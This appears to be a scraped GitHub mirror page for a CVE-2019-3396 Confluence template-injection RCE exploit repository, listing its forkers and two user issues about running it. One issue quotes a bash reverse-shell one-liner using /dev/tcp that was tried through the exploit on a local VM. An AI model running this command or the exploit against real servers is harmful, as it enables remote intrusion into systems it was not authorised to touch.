yt1g3r / cve-2019-3396_exp Goto Github PK
View Code? Open in Web Editor NEWCVE-2019-3396 confluence SSTI RCE
cve-2019-3396_exp's People
Contributors
Stargazers
Watchers
Forkers
l3ngd0n jas502n crackercat huyanshuhan darknight-666 qsdj paladin1412 imjdl peterpeter228 lhtest429 k1n9 0x24bin ormicron bravery9 attackgithub m4d3bug superdong0 p4sschen veyborov lonehand shelld0n vvring bloodzer0 bigbigx x86arm captainbarber99 xiaoxiaoleo 0x13337 mrmugiwara leehdsniper jojoli123 pigcanfly2018 ghostlulzbishop mm0x00 sammylu pentestbr eniac888 robot521 jordanbertasso flightless-bird miauwuffmiau rickma-c137 thanhuutuan wei-blockchain dido1960 baolqinfosec sry309 5l1v3r1 modulexcite sxhcomg keger k0bee taomamba ghtwf01 add1ct3d yut0u steady-brother fdlucifer ap1e mark-zh 1mxml qianniaoge polling-repo-continua sajeeshab singhsukhrajcve-2019-3396_exp's Issues
SSL support
Hi,
Is there a way this python script could support SSL protocol? I am currently receiving the following error msg when trying to run the script on my HTTPS confluence local server:
Traceback (most recent call last):
File "RCE_exp.py", line 50, in <module>
print _exec(url,cmd)
File "RCE_exp.py", line 38, in _exec
r = requests.post(paylaod, data=data, headers=headers)
File "/usr/lib/python2.6/site-packages/requests/api.py", line 108, in post
return request('post', url, data=data, json=json, **kwargs)
File "/usr/lib/python2.6/site-packages/requests/api.py", line 50, in request
response = session.request(method=method, url=url, **kwargs)
File "/usr/lib/python2.6/site-packages/requests/sessions.py", line 464, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python2.6/site-packages/requests/sessions.py", line 576, in send
r = adapter.send(request, **kwargs)
File "/usr/lib/python2.6/site-packages/requests/adapters.py", line 431, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: hostname '192.168.1.103' doesn't match either of '*.localhost.localdomain', 'localdomain'
The syntax I used is:
python RCE_exp.py https://192.168.1.103:443 "whoami"
Any help would be very appreciated,
Thanks !
`
reverse shell
Hi !
First I would like to thank you for your awesome RCE script on Confluence, works like a charm :) Now, I was testing if I could hit a reverse shell on my local Confluence virtual machine and it seems like the PoC handles only simple commands (not too long), I've tried:
/bin/bash -i > /dev/tcp/192.168.1.101/1337 0>&1 2>&1
But without success. The other commands like 'whoami', 'id', 'uptime' works.
If you could have any suggestions or ideas, it would be very appreciated,
Thanks!
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.